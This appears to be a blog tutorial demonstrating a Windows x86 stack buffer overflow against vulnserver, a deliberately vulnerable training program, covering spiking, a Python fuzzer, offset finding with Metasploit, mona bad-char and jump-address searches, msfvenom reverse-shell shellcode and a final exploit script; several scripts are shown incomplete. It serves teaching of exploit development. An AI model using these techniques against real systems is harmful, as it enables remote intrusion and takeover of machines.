Windows Stack Based Buffer Overflow x86

This post will demonstrate how to spike for vulnerable inputs on a remote machine, fuzz the vulnerable inputs and then remotely exploit the vulnerable input for remote shell access. A detailed explanation of buffer overflows can be found in my post on Linux Stack Based Buffer Overflows. This exploit will be demonstrated on a deliberately vulnerable program designed to teach and learn buffer overflows. The program can be downloaded from To use the program simply run it as administrator. The servers default port is 9999. To change the port number just add the port number after the command. ie: “vulnserver 6666”. This should go without saying but please do not run this on an internet facing machine….

The difference between Spiking and Fuzzing

Spiking is used to test multiple inputs to try and find one that is vulnerable to exploit. Fuzzing is used when a vulnerable input field has been found and requires more in depth testing to create a working exploit/poc. The techniques for testing are the same for both under the hood as they both involved overflowing the buffer however the terminology just helps to distinguish the different processes of testing and exploitation. To sum it up: Spiking = testing multiple fields for vulnerability. Fuzzing = working on a single vulnerable input to produce a working exploit.


Connecting to vulnserver with netcat and typing help displays a list of commands.


These inputs can be tested using a tool called “generic_tcp_send” which comes included with Kali Linux. The tool allows for sending string variables into an input field specified in a spike script. All it is doing is repeatedly sending strings of different sizes over a tcp stream. Hence the name…

The spike script

The script is very simple and if you have done any sort of socket programming you will notice that it is just reading the receive line and then sending the string “STATS “.

s_string("STATS ");

Before running the spike program immunity debugger needs to be open on the victim machine with the vulnserver process attached. This will pause the process if a memory leak is detected and allow us to read the memory registers.

Immunity Debugger before running the script

It is also handy to have a packet sniffer running in the background aswell.

Run the script with the script:


The vulnserver display indicating our spiking is indeed sending the buffer:


Immunity still running with no crash detected in vulnserver. After running the spike script for a few minutes with no crashes it is safe to say at this point that that the STATS input is not vulnerable to a buffer overflow.

Going down the list the TRUN input cases a crash as indicated be the debugger. Note the highlighted areas indicating that EBP and EIP have been overwritted by “A”s. (41 in HEX). So spiking the TRUN field has found a buffer overflow. Time to dig deeper in the TRUN input and craft a working payload that will spawn a reverse shell back to our machine.

Fuzzing TRUN

Using a python script we can start at 100 bytes and add 100 bytes each time until the vulnserver crashes. Using 100 byte increments will allow us to narrow in on the memory address where the over flow happens and overwrites EIP.


import sys, socket
from time import sleep

buffer = "A" * 100
running = True

while running:
        #Trun command plus the "A"s
        payload = "TRUN /.:/" + buffer
        #Create socket object and connect to vulnserver
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print ("Sending payload size: {}\n".format(str(len(buffer))))
        #Send utf-8 encoded payload
        #close the connection and wait 1 second before adding 100 more bytes to the buffer
        buffer = buffer + "A"*100
        #If crash occurs, stop the script running and display bytes at time of crash
        running = False;
        print ("Crashed at {} bytes".format(str(len(buffer))))


Running the python script and monitoring the debugger for the crash we get the crash at 2300 bytes:

Sending payload size: 2300

Looking at Immunity however it does not show EIP as being overwritted by the “A”s. This means that we are causing the buffer to overflow however it is not big enough to overflow into EIP. Now its a matter of narrowing it down until our A’s land in EIP. Adjusting the script to add 200 to each buffer each loop results in EIP being successfully overwritten with our buffer. This indicates that EIP is within 2200 and 2400 bytes.


Finding the offset

Now that we have narrowed down the location of EIP we need to find the exact location. We do this by sending a completely unique, none repeating 2400 byte buffer string. We can then correlate the contents EIP with the buffer string and find that unique 4 bytes. This will give us the exact number of bytes it takes to get to EIP. Metaploit provides a unique pattern too specifically for this purpose.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400


Now we just replace the scripts payload with this pattern and run it again.

Checking Immunity now shows EIP overwritten with a unique 4 byte HEX value from the unique pattern we sent it.

To find the exact offset in our pattern metasploit provides another tool for us called pattern offset:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2400 -q 386F4337
[*] Exact match at offset 2003

What this tells us is that at exactly 2003 bytes is where the buffer overwrites EIP. The next 4 bytes after 2003 is the EIP register. We now know the location of EIP and can control where it points to by filling the buffer to 2003 bytes and then pointing EIP to any memory address we want.

Finding the Bad Chars with Mona

Because we are generating shellcode and sending it directly into memory we need to ensure that there are no bad chars in our shellcode that can interfere with vulnservers code. Immunity allows for custom python modules so we can use use a module called “mona” to identify the bad chars for us.

Download the module from and copy the “” script into the “PyCommands” folder in your Immunity install folder.I had some issues with python 3 loading the module and a switched back to python x86 2.7.15(The one that comes with Immunity) fixed the problem.

Back in Immunity set a log folder directory by typing: !mona config -set workingfolder c:\logs\%p at the bottom of Immunity. Now generate a byte array without “x00” as this is always a bad char so may as well remove it from the beginning. !mona bytearray -cpb “\x00”


You will now have a byte array txt and bin file in the logs folder you specified earlier in Immunity. Immunity uses the bin file to check for bad chars in any register location we give it. Fuzz the application again and get the location of ESP.


Tell mona to throw its byte array into ESP and then compare it for bad chars.

!mona compare -f C:\logs\_no_name\bytearray.bin -a 00F9F9C8

Mona runs the byte array generated earlier through ESP and identifies any bad chars for us.

Finding a module to place the shellcode

In the linux buffer overflow I placed the shellcode in the buffer space before EIP and nop sled into it. For this exploit I will find a dll with enough space and without memory protections like ASLR or DEP running which would prevent the shellcode from executing. Mona provides us the ability to check all running dlls and shows their current protections.

!mona modules

essfunc.dll has zero memory protections so is a perfect place to drop our shellcode into.

Getting the jump Address to essfunc.dll

Now that we know where to put our shell code, we need to find a jump address in ESP that jumps to essfunc.dll and point EIP to that jump address. Again mona comes to the rescue to simplify our lifes.

!mona jmp -r ESP -m “essfunc.dll”

Mona found 9 pointers pointing to essfunc.dll.

Generating the shellcode

We have pretty much everything need minus the shellcode. msfvenom provides an options to generate shellcode while also removing any bad chars that we specify. It does this by encoding the payload until all bad chars are removed. “-p” = payload, “-f” = format(c shellcode), “-a” = architecture, “-b” = bad chars

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=6666 EXITFUNC=thread -f c -a x86 -b “\x00\01”



The python script. Note the “b”s before any input being sent to the vulnserver. This is to ensure all bytes are encoded into hex properly. It is also necessary to add some nops for some wobble room so our shell code lands nice and neatly in the memory space. Housecleaning basically.


import sys, socket
from time import sleep

shellcode = (b"\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"

exploit = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 16 + shellcode

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    payload = b"TRUN /.:/" + exploit

    print ("Exploit failed")


Sending the exploit and gaining administrator access on the remote machine.

Start a netcat listener port 6666 as specified in our shellcode generation. Launch: ?????? Profit.